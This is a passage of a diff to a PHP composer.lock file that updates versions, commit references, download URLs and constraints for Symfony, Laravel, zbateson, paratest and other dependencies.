"41e38717ac1dd7a46b6bda7d6a82af2d98a78894", + "url": "https://api.github.com/repos/symfony/console/zipball/e1e6770440fb9c9b0cf725f81d1361ad1835329d", + "reference": "e1e6770440fb9c9b0cf725f81d1361ad1835329d", "shasum": "" }, "require": { @@ -8100,7 +8266,7 @@ "terminal" ], "support": { - "source": "https://github.com/symfony/console/tree/v7.4.4" + "source": "https://github.com/symfony/console/tree/v7.4.7" }, "funding": [ { @@ -8120,20 +8286,20 @@ "type": "tidelift" } ], - "time": "2026-01-13T11:36:38+00:00" + "time": "2026-03-06T14:06:20+00:00" }, { "name": "symfony/css-selector", - "version": "v8.0.0", + "version": "v8.0.6", "source": { "type": "git", "url": "https://github.com/symfony/css-selector.git", - "reference": "6225bd458c53ecdee056214cb4a2ffaf58bd592b" + "reference": "2a178bf80f05dbbe469a337730eba79d61315262" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/css-selector/zipball/6225bd458c53ecdee056214cb4a2ffaf58bd592b", - "reference": "6225bd458c53ecdee056214cb4a2ffaf58bd592b", + "url": "https://api.github.com/repos/symfony/css-selector/zipball/2a178bf80f05dbbe469a337730eba79d61315262", + "reference": "2a178bf80f05dbbe469a337730eba79d61315262", "shasum": "" }, "require": { @@ -8169,7 +8335,7 @@ "description": "Converts CSS selectors to XPath expressions", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/css-selector/tree/v8.0.0" + "source": "https://github.com/symfony/css-selector/tree/v8.0.6" }, "funding": [ { @@ -8189,7 +8355,7 @@ "type": "tidelift" } ], - "time": "2025-10-30T14:17:19+00:00" + "time": "2026-02-17T13:07:04+00:00" }, { "name": "symfony/deprecation-contracts", @@ -8503,16 +8669,16 @@ }, { "name": "symfony/filesystem", - "version": "v8.0.1", + "version": "v8.0.6", "source": { "type": "git", "url": "https://github.com/symfony/filesystem.git", - "reference": "d937d400b980523dc9ee946bb69972b5e619058d" + "reference": "7bf9162d7a0dff98d079b72948508fa48018a770" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/filesystem/zipball/d937d400b980523dc9ee946bb69972b5e619058d", - "reference": "d937d400b980523dc9ee946bb69972b5e619058d", + "url": "https://api.github.com/repos/symfony/filesystem/zipball/7bf9162d7a0dff98d079b72948508fa48018a770", + "reference": "7bf9162d7a0dff98d079b72948508fa48018a770", "shasum": "" }, "require": { @@ -8549,7 +8715,7 @@ "description": "Provides basic utilities for the filesystem", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/filesystem/tree/v8.0.1" + "source": "https://github.com/symfony/filesystem/tree/v8.0.6" }, "funding": [ { @@ -8569,20 +8735,20 @@ "type": "tidelift" } ], - "time": "2025-12-01T09:13:36+00:00" + "time": "2026-02-25T16:59:43+00:00" }, { "name": "symfony/finder", - "version": "v7.4.5", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/finder.git", - "reference": "ad4daa7c38668dcb031e63bc99ea9bd42196a2cb" + "reference": "8655bf1076b7a3a346cb11413ffdabff50c7ffcf" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/finder/zipball/ad4daa7c38668dcb031e63bc99ea9bd42196a2cb", - "reference": "ad4daa7c38668dcb031e63bc99ea9bd42196a2cb", + "url": "https://api.github.com/repos/symfony/finder/zipball/8655bf1076b7a3a346cb11413ffdabff50c7ffcf", + "reference": "8655bf1076b7a3a346cb11413ffdabff50c7ffcf", "shasum": "" }, "require": { @@ -8617,7 +8783,7 @@ "description": "Finds files and directories via an intuitive fluent interface", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/finder/tree/v7.4.5" + "source": "https://github.com/symfony/finder/tree/v7.4.6" }, "funding": [ { @@ -8637,20 +8803,20 @@ "type": "tidelift" } ], - "time": "2026-01-26T15:07:59+00:00" + "time": "2026-01-29T09:40:50+00:00" }, { "name": "symfony/http-foundation", - "version": "v7.4.5", + "version": "v7.4.7", "source": { "type": "git", "url": "https://github.com/symfony/http-foundation.git", - "reference": "446d0db2b1f21575f1284b74533e425096abdfb6" + "reference": "f94b3e7b7dafd40e666f0c9ff2084133bae41e81" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-foundation/zipball/446d0db2b1f21575f1284b74533e425096abdfb6", - "reference": "446d0db2b1f21575f1284b74533e425096abdfb6", + "url": "https://api.github.com/repos/symfony/http-foundation/zipball/f94b3e7b7dafd40e666f0c9ff2084133bae41e81", + "reference": "f94b3e7b7dafd40e666f0c9ff2084133bae41e81", "shasum": "" }, "require": { @@ -8699,7 +8865,7 @@ "description": "Defines an object-oriented layer for the HTTP specification", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/http-foundation/tree/v7.4.5" + "source": "https://github.com/symfony/http-foundation/tree/v7.4.7" }, "funding": [ { @@ -8719,20 +8885,20 @@ "type": "tidelift" } ], - "time": "2026-01-27T16:16:02+00:00" + "time": "2026-03-06T13:15:18+00:00" }, { "name": "symfony/http-kernel", - "version": "v7.4.5", + "version": "v7.4.7", "source": { "type": "git", "url": "https://github.com/symfony/http-kernel.git", - "reference": "229eda477017f92bd2ce7615d06222ec0c19e82a" + "reference": "3b3fcf386c809be990c922e10e4c620d6367cab1" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-kernel/zipball/229eda477017f92bd2ce7615d06222ec0c19e82a", - "reference": "229eda477017f92bd2ce7615d06222ec0c19e82a", + "url": "https://api.github.com/repos/symfony/http-kernel/zipball/3b3fcf386c809be990c922e10e4c620d6367cab1", + "reference": "3b3fcf386c809be990c922e10e4c620d6367cab1", "shasum": "" }, "require": { @@ -8774,7 +8940,7 @@ "symfony/config": "^6.4|^7.0|^8.0", "symfony/console": "^6.4|^7.0|^8.0", "symfony/css-selector": "^6.4|^7.0|^8.0", - "symfony/dependency-injection": "^6.4|^7.0|^8.0", + "symfony/dependency-injection": "^6.4.1|^7.0.1|^8.0", "symfony/dom-crawler": "^6.4|^7.0|^8.0", "symfony/expression-language": "^6.4|^7.0|^8.0", "symfony/finder": "^6.4|^7.0|^8.0", @@ -8818,7 +8984,7 @@ "description": "Provides a structured process for converting a Request into a Response", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/http-kernel/tree/v7.4.5" + "source": "https://github.com/symfony/http-kernel/tree/v7.4.7" }, "funding": [ { @@ -8838,20 +9004,20 @@ "type": "tidelift" } ], - "time": "2026-01-28T10:33:42+00:00" + "time": "2026-03-06T16:33:18+00:00" }, { "name": "symfony/mailer", - "version": "v7.4.4", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/mailer.git", - "reference": "7b750074c40c694ceb34cb926d6dffee231c5cd6" + "reference": "b02726f39a20bc65e30364f5c750c4ddbf1f58e9" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/mailer/zipball/7b750074c40c694ceb34cb926d6dffee231c5cd6", - "reference": "7b750074c40c694ceb34cb926d6dffee231c5cd6", + "url": "https://api.github.com/repos/symfony/mailer/zipball/b02726f39a20bc65e30364f5c750c4ddbf1f58e9", + "reference": "b02726f39a20bc65e30364f5c750c4ddbf1f58e9", "shasum": "" }, "require": { @@ -8902,7 +9068,7 @@ "description": "Helps sending emails", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/mailer/tree/v7.4.4" + "source": "https://github.com/symfony/mailer/tree/v7.4.6" }, "funding": [ { @@ -8922,20 +9088,20 @@ "type": "tidelift" } ], - "time": "2026-01-08T08:25:11+00:00" + "time": "2026-02-25T16:50:00+00:00" }, { "name": "symfony/mime", - "version": "v7.4.5", + "version": "v7.4.7", "source": { "type": "git", "url": "https://github.com/symfony/mime.git", - "reference": "b18c7e6e9eee1e19958138df10412f3c4c316148" + "reference": "da5ab4fde3f6c88ab06e96185b9922f48b677cd1" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/mime/zipball/b18c7e6e9eee1e19958138df10412f3c4c316148", - "reference": "b18c7e6e9eee1e19958138df10412f3c4c316148", + "url": "https://api.github.com/repos/symfony/mime/zipball/da5ab4fde3f6c88ab06e96185b9922f48b677cd1", + "reference": "da5ab4fde3f6c88ab06e96185b9922f48b677cd1", "shasum": "" }, "require": { @@ -8946,7 +9112,7 @@ }, "conflict": { "egulias/email-validator": "~3.0.0", - "phpdocumentor/reflection-docblock": "<5.2|>=6", + "phpdocumentor/reflection-docblock": "<5.2|>=7", "phpdocumentor/type-resolver": "<1.5.1", "symfony/mailer": "<6.4", "symfony/serializer": "<6.4.3|>7.0,<7.0.3" @@ -8954,7 +9120,7 @@ "require-dev": { "egulias/email-validator": "^2.1.10|^3.1|^4", "league/html-to-markdown": "^5.0", - "phpdocumentor/reflection-docblock": "^5.2", + "phpdocumentor/reflection-docblock": "^5.2|^6.0", "symfony/dependency-injection": "^6.4|^7.0|^8.0", "symfony/process": "^6.4|^7.0|^8.0", "symfony/property-access": "^6.4|^7.0|^8.0", @@ -8991,7 +9157,7 @@ "mime-type" ], "support": { - "source": "https://github.com/symfony/mime/tree/v7.4.5" + "source": "https://github.com/symfony/mime/tree/v7.4.7" }, "funding": [ { @@ -9011,7 +9177,7 @@ "type": "tidelift" } ], - "time": "2026-01-27T08:59:58+00:00" + "time": "2026-03-05T15:24:09+00:00" }, { "name": "symfony/options-resolver", @@ -10151,16 +10317,16 @@ }, { "name": "symfony/routing", - "version": "v7.4.4", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/routing.git", - "reference": "0798827fe2c79caeed41d70b680c2c3507d10147" + "reference": "238d749c56b804b31a9bf3e26519d93b65a60938" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/routing/zipball/0798827fe2c79caeed41d70b680c2c3507d10147", - "reference": "0798827fe2c79caeed41d70b680c2c3507d10147", + "url": "https://api.github.com/repos/symfony/routing/zipball/238d749c56b804b31a9bf3e26519d93b65a60938", + "reference": "238d749c56b804b31a9bf3e26519d93b65a60938", "shasum": "" }, "require": { @@ -10212,7 +10378,7 @@ "url" ], "support": { - "source": "https://github.com/symfony/routing/tree/v7.4.4" + "source": "https://github.com/symfony/routing/tree/v7.4.6" }, "funding": [ { @@ -10232,7 +10398,7 @@ "type": "tidelift" } ], - "time": "2026-01-12T12:19:02+00:00" + "time": "2026-02-25T16:50:00+00:00" }, { "name": "symfony/service-contracts", @@ -10389,16 +10555,16 @@ }, { "name": "symfony/string", - "version": "v8.0.4", + "version": "v8.0.6", "source": { "type": "git", "url": "https://github.com/symfony/string.git", - "reference": "758b372d6882506821ed666032e43020c4f57194" + "reference": "6c9e1108041b5dce21a9a4984b531c4923aa9ec4" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/string/zipball/758b372d6882506821ed666032e43020c4f57194", - "reference": "758b372d6882506821ed666032e43020c4f57194", + "url": "https://api.github.com/repos/symfony/string/zipball/6c9e1108041b5dce21a9a4984b531c4923aa9ec4", + "reference": "6c9e1108041b5dce21a9a4984b531c4923aa9ec4", "shasum": "" }, "require": { @@ -10455,7 +10621,7 @@ "utf8" ], "support": { - "source": "https://github.com/symfony/string/tree/v8.0.4" + "source": "https://github.com/symfony/string/tree/v8.0.6" }, "funding": [ { @@ -10475,20 +10641,20 @@ "type": "tidelift" } ], - "time": "2026-01-12T12:37:40+00:00" + "time": "2026-02-09T10:14:57+00:00" }, { "name": "symfony/translation", - "version": "v8.0.4", + "version": "v8.0.6", "source": { "type": "git", "url": "https://github.com/symfony/translation.git", - "reference": "db70c8ce7db74fd2da7b1d268db46b2a8ce32c10" + "reference": "13ff19bcf2bea492d3c2fbeaa194dd6f4599ce1b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/translation/zipball/db70c8ce7db74fd2da7b1d268db46b2a8ce32c10", - "reference": "db70c8ce7db74fd2da7b1d268db46b2a8ce32c10", + "url": "https://api.github.com/repos/symfony/translation/zipball/13ff19bcf2bea492d3c2fbeaa194dd6f4599ce1b", + "reference": "13ff19bcf2bea492d3c2fbeaa194dd6f4599ce1b", "shasum": "" }, "require": { @@ -10548,7 +10714,7 @@ "description": "Provides tools to internationalize your application", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/translation/tree/v8.0.4" + "source": "https://github.com/symfony/translation/tree/v8.0.6" }, "funding": [ { @@ -10568,7 +10734,7 @@ "type": "tidelift" } ], - "time": "2026-01-13T13:06:50+00:00" + "time": "2026-02-17T13:07:04+00:00" }, { "name": "symfony/translation-contracts", @@ -10732,16 +10898,16 @@ }, { "name": "symfony/var-dumper", - "version": "v7.4.4", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/var-dumper.git", - "reference": "0e4769b46a0c3c62390d124635ce59f66874b282" + "reference": "045321c440ac18347b136c63d2e9bf28a2dc0291" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/var-dumper/zipball/0e4769b46a0c3c62390d124635ce59f66874b282", - "reference": "0e4769b46a0c3c62390d124635ce59f66874b282", + "url": "https://api.github.com/repos/symfony/var-dumper/zipball/045321c440ac18347b136c63d2e9bf28a2dc0291", + "reference": "045321c440ac18347b136c63d2e9bf28a2dc0291", "shasum": "" }, "require": { @@ -10795,7 +10961,7 @@ "dump" ], "support": { - "source": "https://github.com/symfony/var-dumper/tree/v7.4.4" + "source": "https://github.com/symfony/var-dumper/tree/v7.4.6" }, "funding": [ { @@ -10815,20 +10981,20 @@ "type": "tidelift" } ], - "time": "2026-01-01T22:13:48+00:00" + "time": "2026-02-15T10:53:20+00:00" }, { "name": "symfony/yaml", - "version": "v7.4.1", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/yaml.git", - "reference": "24dd4de28d2e3988b311751ac49e684d783e2345" + "reference": "58751048de17bae71c5aa0d13cb19d79bca26391" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/yaml/zipball/24dd4de28d2e3988b311751ac49e684d783e2345", - "reference": "24dd4de28d2e3988b311751ac49e684d783e2345", + "url": "https://api.github.com/repos/symfony/yaml/zipball/58751048de17bae71c5aa0d13cb19d79bca26391", + "reference": "58751048de17bae71c5aa0d13cb19d79bca26391", "shasum": "" }, "require": { @@ -10871,7 +11037,7 @@ "description": "Loads and dumps YAML files", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/yaml/tree/v7.4.1" + "source": "https://github.com/symfony/yaml/tree/v7.4.6" }, "funding": [ { @@ -10891,7 +11057,7 @@ "type": "tidelift" } ], - "time": "2025-12-04T18:11:45+00:00" + "time": "2026-02-09T09:33:46+00:00" }, { "name": "tijsverkoyen/css-to-inline-styles", @@ -10950,33 +11116,45 @@ }, { "name": "visus/cuid2", - "version": "4.1.0", + "version": "6.0.0", "source": { "type": "git", "url": "https://github.com/visus-io/php-cuid2.git", - "reference": "17c9b3098d556bb2556a084c948211333cc19c79" + "reference": "834c8a1c04684931600ee7a4189150b331a5b56c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/visus-io/php-cuid2/zipball/17c9b3098d556bb2556a084c948211333cc19c79", - "reference": "17c9b3098d556bb2556a084c948211333cc19c79", + "url": "https://api.github.com/repos/visus-io/php-cuid2/zipball/834c8a1c04684931600ee7a4189150b331a5b56c", + "reference": "834c8a1c04684931600ee7a4189150b331a5b56c", "shasum": "" }, "require": { - "php": "^8.1" + "php": "^8.2", + "symfony/polyfill-php83": "^1.32" }, "require-dev": { + "captainhook/captainhook": "^5.27", + "captainhook/hook-installer": "^1.0", + "captainhook/plugin-composer": "^5.3", + "dealerdirect/phpcodesniffer-composer-installer": "^1.2", "ergebnis/composer-normalize": "^2.29", - "ext-ctype": "*", + "php-parallel-lint/php-parallel-lint": "^1.4", + "phpbench/phpbench": "^1.4", "phpstan/phpstan": "^1.9", - "phpunit/phpunit": "^10.0", - "squizlabs/php_codesniffer": "^3.7", - "vimeo/psalm": "^5.4" + "phpunit/phpunit": "^10.5", + "ramsey/conventional-commits": "^1.5", + "slevomat/coding-standard": "^8.25", + "squizlabs/php_codesniffer": "^4.0" }, "suggest": { - "ext-gmp": "*" + "ext-gmp": "Enables faster math with arbitrary precision integers using GMP." }, "type": "library", + "extra": { + "captainhook": { + "force-install": true + } + }, "autoload": { "files": [ "src/compat.php" @@ -11002,9 +11180,9 @@ ], "support": { "issues": "https://github.com/visus-io/php-cuid2/issues", - "source": "https://github.com/visus-io/php-cuid2/tree/4.1.0" + "source": "https://github.com/visus-io/php-cuid2/tree/6.0.0" }, - "time": "2024-05-14T13:23:35+00:00" + "time": "2025-12-18T14:52:27+00:00" }, { "name": "vlucas/phpdotenv", @@ -11334,31 +11512,31 @@ }, { "name": "zbateson/mail-mime-parser", - "version": "3.0.5", + "version": "4.0.1", "source": { "type": "git", "url": "https://github.com/zbateson/mail-mime-parser.git", - "reference": "ff054c8e05310c445c2028c6128a4319cc9f6aa8" + "reference": "3db681988a48fdffdba551dcc6b2f4c2da574540" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/zbateson/mail-mime-parser/zipball/ff054c8e05310c445c2028c6128a4319cc9f6aa8", - "reference": "ff054c8e05310c445c2028c6128a4319cc9f6aa8", + "url": "https://api.github.com/repos/zbateson/mail-mime-parser/zipball/3db681988a48fdffdba551dcc6b2f4c2da574540", + "reference": "3db681988a48fdffdba551dcc6b2f4c2da574540", "shasum": "" }, "require": { "guzzlehttp/psr7": "^2.5", - "php": ">=8.0", + "php": ">=8.1", "php-di/php-di": "^6.0|^7.0", "psr/log": "^1|^2|^3", - "zbateson/mb-wrapper": "^2.0", - "zbateson/stream-decorators": "^2.1" + "zbateson/mb-wrapper": "^2.0 || ^3.0", + "zbateson/stream-decorators": "^2.1 || ^3.0" }, "require-dev": { - "friendsofphp/php-cs-fixer": "*", + "friendsofphp/php-cs-fixer": "^3.0", "monolog/monolog": "^2|^3", - "phpstan/phpstan": "*", - "phpunit/phpunit": "^9.6" + "phpstan/phpstan": "^2.0", + "phpunit/phpunit": "^10.5" }, "suggest": { "ext-iconv": "For best support/performance", @@ -11406,31 +11584,31 @@ "type": "github" } ], - "time": "2025-12-02T00:29:16+00:00" + "time": "2026-03-11T18:03:41+00:00" }, { "name": "zbateson/mb-wrapper", - "version": "2.0.1", + "version": "3.0.0", "source": { "type": "git", "url": "https://github.com/zbateson/mb-wrapper.git", - "reference": "50a14c0c9537f978a61cde9fdc192a0267cc9cff" + "reference": "f0ee6af2712e92e52ee2552588cd69d21ab3363f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/zbateson/mb-wrapper/zipball/50a14c0c9537f978a61cde9fdc192a0267cc9cff", - "reference": "50a14c0c9537f978a61cde9fdc192a0267cc9cff", + "url": "https://api.github.com/repos/zbateson/mb-wrapper/zipball/f0ee6af2712e92e52ee2552588cd69d21ab3363f", + "reference": "f0ee6af2712e92e52ee2552588cd69d21ab3363f", "shasum": "" }, "require": { - "php": ">=8.0", + "php": ">=8.1", "symfony/polyfill-iconv": "^1.9", "symfony/polyfill-mbstring": "^1.9" }, "require-dev": { "friendsofphp/php-cs-fixer": "*", "phpstan/phpstan": "*", - "phpunit/phpunit": "^9.6|^10.0" + "phpunit/phpunit": "^10.0|^11.0" }, "suggest": { "ext-iconv": "For best support/performance", @@ -11467,7 +11645,7 @@ ], "support": { "issues": "https://github.com/zbateson/mb-wrapper/issues", - "source": "https://github.com/zbateson/mb-wrapper/tree/2.0.1" + "source": "https://github.com/zbateson/mb-wrapper/tree/3.0.0" }, "funding": [ { @@ -11475,31 +11653,31 @@ "type": "github" } ], - "time": "2024-12-20T22:05:33+00:00" + "time": "2026-02-13T19:33:26+00:00" }, { "name": "zbateson/stream-decorators", - "version": "2.1.1", + "version": "3.0.0", "source": { "type": "git", "url": "https://github.com/zbateson/stream-decorators.git", - "reference": "32a2a62fb0f26313395c996ebd658d33c3f9c4e5" + "reference": "0c0e79a8c960055c0e2710357098eedc07e6697a" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/zbateson/stream-decorators/zipball/32a2a62fb0f26313395c996ebd658d33c3f9c4e5", - "reference": "32a2a62fb0f26313395c996ebd658d33c3f9c4e5", + "url": "https://api.github.com/repos/zbateson/stream-decorators/zipball/0c0e79a8c960055c0e2710357098eedc07e6697a", + "reference": "0c0e79a8c960055c0e2710357098eedc07e6697a", "shasum": "" }, "require": { "guzzlehttp/psr7": "^2.5", - "php": ">=8.0", - "zbateson/mb-wrapper": "^2.0" + "php": ">=8.1", + "zbateson/mb-wrapper": "^2.0 || ^3.0" }, "require-dev": { "friendsofphp/php-cs-fixer": "*", "phpstan/phpstan": "*", - "phpunit/phpunit": "^9.6|^10.0" + "phpunit/phpunit": "^10.0 || ^11.0" }, "type": "library", "autoload": { @@ -11530,7 +11708,7 @@ ], "support": { "issues": "https://github.com/zbateson/stream-decorators/issues", - "source": "https://github.com/zbateson/stream-decorators/tree/2.1.1" + "source": "https://github.com/zbateson/stream-decorators/tree/3.0.0" }, "funding": [ { @@ -11538,20 +11716,20 @@ "type": "github" } ], - "time": "2024-04-29T21:42:39+00:00" + "time": "2026-02-13T19:45:34+00:00" }, { "name": "zircote/swagger-php", - "version": "5.8.0", + "version": "5.8.3", "source": { "type": "git", "url": "https://github.com/zircote/swagger-php.git", - "reference": "9cf5d1a0c159894026708c9e837e69140c2d3922" + "reference": "098223019f764a16715f64089a58606096719c98" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/zircote/swagger-php/zipball/9cf5d1a0c159894026708c9e837e69140c2d3922", - "reference": "9cf5d1a0c159894026708c9e837e69140c2d3922", + "url": "https://api.github.com/repos/zircote/swagger-php/zipball/098223019f764a16715f64089a58606096719c98", + "reference": "098223019f764a16715f64089a58606096719c98", "shasum": "" }, "require": { @@ -11624,7 +11802,7 @@ ], "support": { "issues": "https://github.com/zircote/swagger-php/issues", - "source": "https://github.com/zircote/swagger-php/tree/5.8.0" + "source": "https://github.com/zircote/swagger-php/tree/5.8.3" }, "funding": [ { @@ -11632,7 +11810,7 @@ "type": "github" } ], - "time": "2026-01-28T01:27:48+00:00" + "time": "2026-03-02T00:47:18+00:00" } ], "packages-dev": [ @@ -12945,16 +13123,16 @@ }, { "name": "brianium/paratest", - "version": "v7.16.1", + "version": "v7.19.2", "source": { "type": "git", "url": "https://github.com/paratestphp/paratest.git", - "reference": "f0fdfd8e654e0d38bc2ba756a6cabe7be287390b" + "reference": "66e4f7910cecf67736bccf2b8bd53a2e3eb98bd9" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/paratestphp/paratest/zipball/f0fdfd8e654e0d38bc2ba756a6cabe7be287390b", - "reference": "f0fdfd8e654e0d38bc2ba756a6cabe7be287390b", + "url": "https://api.github.com/repos/paratestphp/paratest/zipball/66e4f7910cecf67736bccf2b8bd53a2e3eb98bd9", + "reference": "66e4f7910cecf67736bccf2b8bd53a2e3eb98bd9", "shasum": "" }, "require": { @@ -12965,24 +13143,24 @@ "fidry/cpu-core-counter": "^1.3.0", "jean85/pretty-package-versions": "^2.1.1", "php": "~8.3.0 || ~8.4.0 || ~8.5.0", - "phpunit/php-code-coverage": "^12.5.2", - "phpunit/php-file-iterator": "^6", - "phpunit/php-timer": "^8", - "phpunit/phpunit": "^12.5.4", - "sebastian/environment": "^8.0.3", - "symfony/console": "^7.3.4 || ^8.0.0", - "symfony/process": "^7.3.4 || ^8.0.0" + "phpunit/php-code-coverage": "^12.5.3 || ^13.0.1", + "phpunit/php-file-iterator": "^6.0.1 || ^7", + "phpunit/php-timer": "^8 || ^9", + "phpunit/phpunit": "^12.5.14 || ^13.0.5", + "sebastian/environment": "^8.0.3 || ^9", + "symfony/console": "^7.4.7 || ^8.0.7", + "symfony/process": "^7.4.5 || ^8.0.5" }, "require-dev": { "doctrine/coding-standard": "^14.0.0", "ext-pcntl": "*", "ext-pcov": "*", "ext-posix": "*", - "phpstan/phpstan": "^2.1.33", - "phpstan/phpstan-deprecation-rules": "^2.0.3", - "phpstan/phpstan-phpunit": "^2.0.11", - "phpstan/phpstan-strict-rules": "^2.0.7", - "symfony/filesystem": "^7.3.2 || ^8.0.0" + "phpstan/phpstan": "^2.1.40", + "phpstan/phpstan-deprecation-rules": "^2.0.4", + "phpstan/phpstan-phpunit": "^2.0.16", + "phpstan/phpstan-strict-rules": "^2.0.10", + "symfony/filesystem": "^7.4.6 || ^8.0.6" }, "bin": [ "bin/paratest", @@ -13022,7 +13200,7 @@ ], "support": { "issues": "https://github.com/paratestphp/paratest/issues", - "source": "https://github.com/paratestphp/paratest/tree/v7.16.1" + "source": "https://github.com/paratestphp/paratest/tree/v7.19.2" }, "funding": [ { @@ -13034,7 +13212,7 @@ "type": "paypal" } ], - "time": "2026-01-08T07:23:06+00:00" + "time": "2026-03-09T14:33:17+00:00" }, { "name": "daverandom/libdns", @@ -13082,22 +13260,22 @@ }, { "name": "driftingly/rector-laravel", - "version": "2.1.9", + "version": "2.2.0", "source": { "type": "git", "url": "https://github.com/driftingly/rector-laravel.git", - "reference": "aee9d4a1d489e7ec484fc79f33137f8ee051b3f7" + "reference": "807840ceb09de6764cbfcce0719108d044a459a9" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/driftingly/rector-laravel/zipball/aee9d4a1d489e7ec484fc79f33137f8ee051b3f7", - "reference": "aee9d4a1d489e7ec484fc79f33137f8ee051b3f7", + "url": "https://api.github.com/repos/driftingly/rector-laravel/zipball/807840ceb09de6764cbfcce0719108d044a459a9", + "reference": "807840ceb09de6764cbfcce0719108d044a459a9", "shasum": "" }, "require": { "php": "^7.4 || ^8.0", "rector/rector": "^2.2.7", - "webmozart/assert": "^1.11" + "webmozart/assert": "^1.11 || ^2.0" }, "type": "rector-extension", "autoload": { @@ -13112,9 +13290,9 @@ "description": "Rector upgrades rules for Laravel Framework", "support": { "issues": "https://github.com/driftingly/rector-laravel/issues", - "source": "https://github.com/driftingly/rector-laravel/tree/2.1.9" + "source": "https://github.com/driftingly/rector-laravel/tree/2.2.0" }, - "time": "2025-12-25T23:31:36+00:00" + "time": "2026-03-19T17:24:38+00:00" }, { "name": "fakerphp/faker", @@ -13422,33 +13600,33 @@ }, { "name": "laravel/boost", - "version": "v2.1.1", + "version": "v2.4.1", "source": { "type": "git", "url": "https://github.com/laravel/boost.git", - "reference": "1c7d6f44c96937a961056778b9143218b1183302" + "reference": "f6241df9fd81a86d79a051851177d4ffe3e28506" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/boost/zipball/1c7d6f44c96937a961056778b9143218b1183302", - "reference": "1c7d6f44c96937a961056778b9143218b1183302", + "url": "https://api.github.com/repos/laravel/boost/zipball/f6241df9fd81a86d79a051851177d4ffe3e28506", + "reference": "f6241df9fd81a86d79a051851177d4ffe3e28506", "shasum": "" }, "require": { "guzzlehttp/guzzle": "^7.9", - "illuminate/console": "^11.45.3|^12.41.1", - "illuminate/contracts": "^11.45.3|^12.41.1", - "illuminate/routing": "^11.45.3|^12.41.1", - "illuminate/support": "^11.45.3|^12.41.1", - "laravel/mcp": "^0.5.1", + "illuminate/console": "^11.45.3|^12.41.1|^13.0", + "illuminate/contracts": "^11.45.3|^12.41.1|^13.0", + "illuminate/routing": "^11.45.3|^12.41.1|^13.0", + "illuminate/support": "^11.45.3|^12.41.1|^13.0", + "laravel/mcp": "^0.5.1|^0.6.0", "laravel/prompts": "^0.3.10", - "laravel/roster": "^0.2.9", + "laravel/roster": "^0.5.0", "php": "^8.2" }, "require-dev": { "laravel/pint": "^1.27.0", "mockery/mockery": "^1.6.12", - "orchestra/testbench": "^9.15.0|^10.6", + "orchestra/testbench": "^9.15.0|^10.6|^11.0", "pestphp/pest": "^2.36.0|^3.8.4|^4.1.5", "phpstan/phpstan": "^2.1.27", "rector/rector": "^2.1" @@ -13484,43 +13662,43 @@ "issues": "https://github.com/laravel/boost/issues", "source": "https://github.com/laravel/boost" }, - "time": "2026-02-06T10:41:29+00:00" + "time": "2026-03-25T16:37:40+00:00" }, { "name": "laravel/dusk", - "version": "v8.3.4", + "version": "v8.5.0", "source": { "type": "git", "url": "https://github.com/laravel/dusk.git", - "reference": "33a4211c7b63ffe430bf30ec3c014012dcb6dfa6" + "reference": "f9f75666bed46d1ebca13792447be6e753f4e790" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/dusk/zipball/33a4211c7b63ffe430bf30ec3c014012dcb6dfa6", - "reference": "33a4211c7b63ffe430bf30ec3c014012dcb6dfa6", + "url": "https://api.github.com/repos/laravel/dusk/zipball/f9f75666bed46d1ebca13792447be6e753f4e790", + "reference": "f9f75666bed46d1ebca13792447be6e753f4e790", "shasum": "" }, "require": { "ext-json": "*", "ext-zip": "*", "guzzlehttp/guzzle": "^7.5", - "illuminate/console": "^10.0|^11.0|^12.0", - "illuminate/support": "^10.0|^11.0|^12.0", + "illuminate/console": "^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^10.0|^11.0|^12.0|^13.0", "php": "^8.1", "php-webdriver/webdriver": "^1.15.2", - "symfony/console": "^6.2|^7.0", - "symfony/finder": "^6.2|^7.0", - "symfony/process": "^6.2|^7.0", + "symfony/console": "^6.2|^7.0|^8.0", + "symfony/finder": "^6.2|^7.0|^8.0", + "symfony/process": "^6.2|^7.0|^8.0", "vlucas/phpdotenv": "^5.2" }, "require-dev": { - "laravel/framework": "^10.0|^11.0|^12.0", + "laravel/framework": "^10.0|^11.0|^12.0|^13.0", "mockery/mockery": "^1.6", - "orchestra/testbench-core": "^8.19|^9.17|^10.8", + "orchestra/testbench-core": "^8.19|^9.17|^10.8|^11.0", "phpstan/phpstan": "^1.10", "phpunit/phpunit": "^10.1|^11.0|^12.0.1", "psy/psysh": "^0.11.12|^0.12", - "symfony/yaml": "^6.2|^7.0" + "symfony/yaml": "^6.2|^7.0|^8.0" }, 